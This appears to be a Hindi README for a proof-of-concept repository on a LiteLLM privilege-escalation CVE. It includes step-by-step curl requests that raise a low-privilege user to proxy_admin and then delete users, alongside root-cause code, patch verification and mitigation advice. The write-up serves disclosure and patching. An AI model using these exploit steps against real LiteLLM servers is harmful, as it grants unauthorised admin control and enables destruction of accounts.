CVE-2026-47102 — LiteLLM Privilege Escalation via `/user/update`

LiteLLM v1.83.7 (v1.83.10 से पहले के संस्करण) का /user/update एंडपॉइंट उन निम्न-अनुमति वाले उपयोगकर्ताओं को, जिनके पास इस एंडपॉइंट तक पहुँच है, अपने खाते को अपडेट करते समय user_role फ़ील्ड को proxy_admin में बदलने की अनुमति देता है, जिससे अनधिकृत विशेषाधिकार वृद्धि होती है।

फ़ील्ड	मान
CVE	CVE-2026-47102
CVSS v3.1	8.8 (HIGH) — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
CWE	CWE-863 (ग़लत प्राधिकरण)
प्रभावित	LiteLLM < 1.83.10 (v1.83.7 पर पुष्टि)
ठीक किया गया	v1.83.10+ (user_role फ़ील्ड संशोधन अनुमति सत्यापन जोड़ा गया)
प्रकाशित	2026-05-21
खोजकर्ता	Fenix Qiao (13ph03nix) — Obsidian Security
लिंक	NVD

विवरण

LiteLLM का /user/update एंडपॉइंट उपयोगकर्ता गुणों को अपडेट करने के लिए उपयोग होता है। प्रभावित संस्करणों में, /user/update का can_user_call_user_update() फ़ंक्शन जाँचता है कि क्या उपयोगकर्ता को निर्दिष्ट उपयोगकर्ता को अपडेट करने का अधिकार है (उपयोगकर्ता को अपने स्वयं के रिकॉर्ड को अपडेट करने की अनुमति देता है), लेकिन संशोधित किए जा सकने वाले फ़ील्ड पर कोई प्रतिबंध नहीं लगाता।

इसका अर्थ है कि कोई भी उपयोगकर्ता जो /user/update एंडपॉइंट तक पहुँच सकता है (जैसे, प्रशासक द्वारा इस रूट की अनुमति दिए गए उपयोगकर्ता, या अन्य भेद्यताओं के माध्यम से इस एंडपॉइंट तक पहुँच प्राप्त करने वाला हमलावर), अपने user_role फ़ील्ड को बदलकर अपनी भूमिका को proxy_admin तक बढ़ा सकता है, और सभी प्रशासनिक एंडपॉइंट तक पूर्ण पहुँच प्राप्त कर सकता है।

हमला श्रृंखला

प्रशासक internal_user के लिए /user/update रूट अनुमति वाली API key बनाता है
  →  internal_user को route-level पहुँच मिलती है
  →  POST /user/update  {"user_id": "...", "user_role": "proxy_admin"}  ← CVE-2026-47102
  →  भूमिका proxy_admin तक बढ़ जाती है
  →  GET /user/list  (प्रशासक पहुँच सत्यापित करें)

CVE-2026-47101 से अंतर

दोनों भेद्यताओं को श्रृंखला में उपयोग किया जा सकता है: CVE-2026-47101 का उपयोग वाइल्डकार्ड रूट key बनाने ( /user/update तक पहुँचने) के लिए, और CVE-2026-47102 का उपयोग अपनी भूमिका को proxy_admin तक बढ़ाने के लिए।

प्रमाण की अवधारणा

वातावरण तैयार करना

# 1. PostgreSQL + भेद्यता वाला LiteLLM (v1.83.7-stable) प्रारंभ करें
docker compose up -d litellm

# सेवा तैयार होने तक प्रतीक्षा करें (लगभग 10-30 सेकंड)
sleep 15

सेवा चालू होने की पुष्टि

# कंटेनर लॉग जाँचें
docker logs litellm-47102-privesc 2>&1 | tail -10

अपेक्षित आउटपुट में Uvicorn running on http://0.0.0.0:4000 जैसे सफल प्रारंभ लॉग शामिल होने चाहिए।

चरण 1: internal_user खाता बनाना

मास्टर key का उपयोग करके एक निम्न-अनुमति वाला internal_user खाता बनाएँ:

curl -s -X POST http://localhost:4002/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

अपेक्षित आउटपुट:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

चरण 2: प्रशासक /user/update रूट अनुमति वाली key प्रदान करता है

प्रशासक internal_user के लिए /user/update रूट तक पहुँच वाली API key बनाता है। यह वास्तविक वातावरण में /user/update एंडपॉइंट तक पहुँच प्राप्त करने का विशिष्ट तरीका है:

# मास्टर key का उपयोग करके /user/update रूट वाली key बनाएँ
curl -s -X POST http://localhost:4002/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'

अपेक्षित आउटपुट:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}

चरण 3: proxy_admin तक विशेषाधिकार वृद्धि (CVE-2026-47102)

पिछले चरण में प्राप्त /user/update रूट अनुमति वाली key का उपयोग करके, उपयोगकर्ता भूमिका को proxy_admin तक बढ़ाएँ:

curl -s -X POST http://localhost:4002/user/update \
  -H "Authorization: Bearer sk-route-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

अपेक्षित आउटपुट:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ भेद्यता बिंदु: user_role internal_user से बदलकर proxy_admin हो गया है! /user/update एंडपॉइंट उपयोगकर्ता को अपने स्वयं के user_role फ़ील्ड को संशोधित करने की अनुमति देता है, बिना किसी फ़ील्ड-स्तरीय अनुमति प्रतिबंध के।

चरण 4: प्रशासक पहुँच सत्यापित करें

/user/list एंडपॉइंट के माध्यम से भूमिका वृद्धि की पुष्टि करें (मूल internal_user की API key का उपयोग करके, जिसमें कोई रूट प्रतिबंध नहीं है; proxy_admin बनने पर स्वचालित रूप से प्रशासक पहुँच मिल जाती है):

# proxy_admin तक बढ़ाई गई key का उपयोग करें (मूल internal_user key, बिना रूट प्रतिबंध)
curl -s -X GET http://localhost:4002/user/list \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json"

अपेक्षित आउटपुट:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

चरण 5: विस्तार — प्रशासक उपयोगकर्ता को हटाना

प्राप्त proxy_admin अनुमति का उपयोग करके, /user/delete के माध्यम से किसी भी उपयोगकर्ता को हटाया जा सकता है (फिर से मूल internal_user की API key का उपयोग करके):

curl -s -X POST http://localhost:4002/user/delete \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

अपेक्षित आउटपुट:

एक-क्लिक पुनरुत्पादन

उपरोक्त चरणों को demo.sh में एकीकृत किया गया है, जिसे सीधे निष्पादित किया जा सकता है:

# पूर्ण पुनरुत्पादन (भेद्यता संस्करण + सुधार संस्करण तुलना)
bash demo.sh

सुधार संस्करण सत्यापन

सुधार संस्करण (v1.83.10-stable) प्रारंभ करें और सत्यापित करें कि CVE-2026-47102 ठीक हो गया है:

docker compose --profile fixed up -d litellm-fixed

internal_user बनाएँ:

FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")

/user/update रूट वाली key बनाएँ:

FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

विशेषाधिकार बढ़ाने का प्रयास करें (अपेक्षा: अवरुद्ध होना चाहिए):

curl -s -X POST http://localhost:4003/user/update \
  -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
  -H "Content-Type: application/json" \
  -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"

अपेक्षित आउटपुट (सुधार संस्करण अनधिकृत अनुरोध को अवरुद्ध करता है):

{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}

भेद्यता संस्करण से तुलना:

परीक्षण परिदृश्य	भेद्यता संस्करण (v1.83.7)	सुधार संस्करण (v1.83.10)
रूट key द्वारा user_role संशोधन	✅ सफलतापूर्वक proxy_admin तक बढ़ा	❌ अवरुद्ध ("Only proxy admins can modify user roles.")
/user/list तक पहुँच	✅ सफलतापूर्वक उपयोगकर्ता सूची प्राप्त	❌ अवरुद्ध

मूल कारण विश्लेषण

भेद्यता का मूल कारण /user/update एंडपॉइंट के can_user_call_user_update() फ़ंक्शन में है:

`/user/update` — फ़ील्ड-स्तरीय अनुमति सत्यापन का अभाव

# भेद्यता वाला कोड — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # प्रशासक किसी भी उपयोगकर्ता को अपडेट कर सकता है
    elif user_api_key_dict.user_id == user_info.user_id:
        return True  # ❌ उपयोगकर्ता अपने स्वयं के रिकॉर्ड को अपडेट कर सकता है — user_role फ़ील्ड सहित!
    return False

सुधार योजना (v1.83.10+):

def can_user_call_user_update(user_api_key_dict, user_info, data):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # प्रशासक अभी भी किसी भी उपयोगकर्ता और फ़ील्ड को अपडेट कर सकता है
    elif user_api_key_dict.user_id == user_info.user_id:
        # गैर-प्रशासक द्वारा संशोधित किए जा सकने वाले फ़ील्ड को प्रतिबंधित करें
        allowed_fields = {"metadata", "display_name", "email"}
        requested_fields = set(data.keys())
        forbidden = requested_fields - allowed_fields
        if forbidden:
            raise ForbiddenError(f"Cannot modify fields: {forbidden}")
        return True
    return False

शोषण तकनीक

पूर्व शर्तें

हमलावर के पास /user/update एंडपॉइंट तक पहुँचने वाली एक API key होनी चाहिए। यह निम्नलिखित तरीकों से प्राप्त की जा सकती है:

प्रशासक द्वारा रूट अनुमति प्रदान करना — प्रशासक ने /user/update रूट वाली key बनाई
CVE-2026-47101 — /key/generate के वाइल्डकार्ड रूट भेद्यता का उपयोग करके वाइल्डकार्ड key बनाना
org_admin भूमिका — org_admin के पास कुछ कॉन्फ़िगरेशन में /user/update तक पहुँच होती है

हमले के चरण

चरण 1: /user/update रूट अनुमति वाली API key प्राप्त करें

चरण 2: भूमिका बढ़ाने के लिए /user/update कॉल करें:

POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

चरण 3: प्रशासक अनुमति सत्यापित करें:

GET /user/list
Authorization: Bearer sk-route-key

पैच विश्लेषण (v1.83.10)

सुधार संस्करण में /user/update में फ़ील्ड-स्तरीय अनुमति सत्यापन जोड़ा गया:

गैर-प्रशासक द्वारा संशोधित किए जा सकने वाले फ़ील्ड को प्रतिबंधित करना — internal_user केवल metadata जैसे गैर-महत्वपूर्ण फ़ील्ड को अपडेट कर सकता है
user_role फ़ील्ड की सुरक्षा — केवल proxy_admin ही उपयोगकर्ता भूमिका को संशोधित कर सकता है
स्व-अपडेट क्षमता बनाए रखना — उपयोगकर्ता अभी भी अपनी मूल जानकारी अपडेट कर सकते हैं, लेकिन विशेषाधिकार नहीं बढ़ा सकते

त्रुटि संदेश: "Only proxy admins can modify user roles."

रिपॉजिटरी संरचना

CVE-2026-47102/
├── README.md                               # यह फ़ाइल
├── CVE-2026-47102_漏洞复现报告.docx          # पुनरुत्पादन रिपोर्ट (चीनी)
├── docker-compose.yml                      # PostgreSQL + भेद्यता/सुधार LiteLLM
├── config.yaml                             # डेटाबेस कनेक्शन के साथ LiteLLM कॉन्फ़िग
├── requirements.txt                        # Python निर्भरताएँ
├── demo.sh                                 # एक-क्लिक पुनरुत्पादन स्क्रिप्ट
├── exploit/
│   ├── exploit.py                          # Python शोषण स्क्रिप्ट
│   └── payload.py                          # पेलोड निर्माता
├── docs/
└── screenshots/

शमन

अपग्रेड करें LiteLLM v1.83.10+ पर (ठीक किया गया /user/update फ़ील्ड-स्तरीय प्राधिकरण)
प्रतिबंधित करें API key रूट विशेषाधिकार — केवल आवश्यक रूट प्रदान करें
ऑडिट करें मौजूदा उपयोगकर्ताओं और keys को विशेषाधिकार वृद्धि के संकेतों के लिए
निगरानी करें /user/update कॉल्स को user_role परिवर्तनों के साथ असामान्य गतिविधि के लिए

संदर्भ

अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है।

भेद्यता का फोकस	`/key/generate` allowed_routes को सत्यापित नहीं करता	`/user/update` में फ़ील्ड-स्तरीय अनुमति का अभाव
हमले की पूर्व शर्त	internal_user सीधे `/key/generate` को कॉल कर सकता है	पहले `/user/update` रूट तक पहुँच प्राप्त करनी होगी
सुधार संस्करण	v1.83.14	v1.83.10

CVE-2026-47102-PoC

सबसे लोकप्रिय

CVE-2026-47102-PoC

सबसे लोकप्रिय

CVE-2026-47102 — LiteLLM Privilege Escalation via /user/update

विवरण

हमला श्रृंखला

CVE-2026-47101 से अंतर

प्रमाण की अवधारणा

वातावरण तैयार करना

सेवा चालू होने की पुष्टि

चरण 1: internal_user खाता बनाना

चरण 2: प्रशासक /user/update रूट अनुमति वाली key प्रदान करता है

चरण 3: proxy_admin तक विशेषाधिकार वृद्धि (CVE-2026-47102)

चरण 4: प्रशासक पहुँच सत्यापित करें

चरण 5: विस्तार — प्रशासक उपयोगकर्ता को हटाना

एक-क्लिक पुनरुत्पादन

सुधार संस्करण सत्यापन

मूल कारण विश्लेषण

/user/update — फ़ील्ड-स्तरीय अनुमति सत्यापन का अभाव

शोषण तकनीक

पूर्व शर्तें

हमले के चरण

पैच विश्लेषण (v1.83.10)

रिपॉजिटरी संरचना

शमन

संदर्भ

CVE-2026-47102 — LiteLLM Privilege Escalation via `/user/update`

`/user/update` — फ़ील्ड-स्तरीय अनुमति सत्यापन का अभाव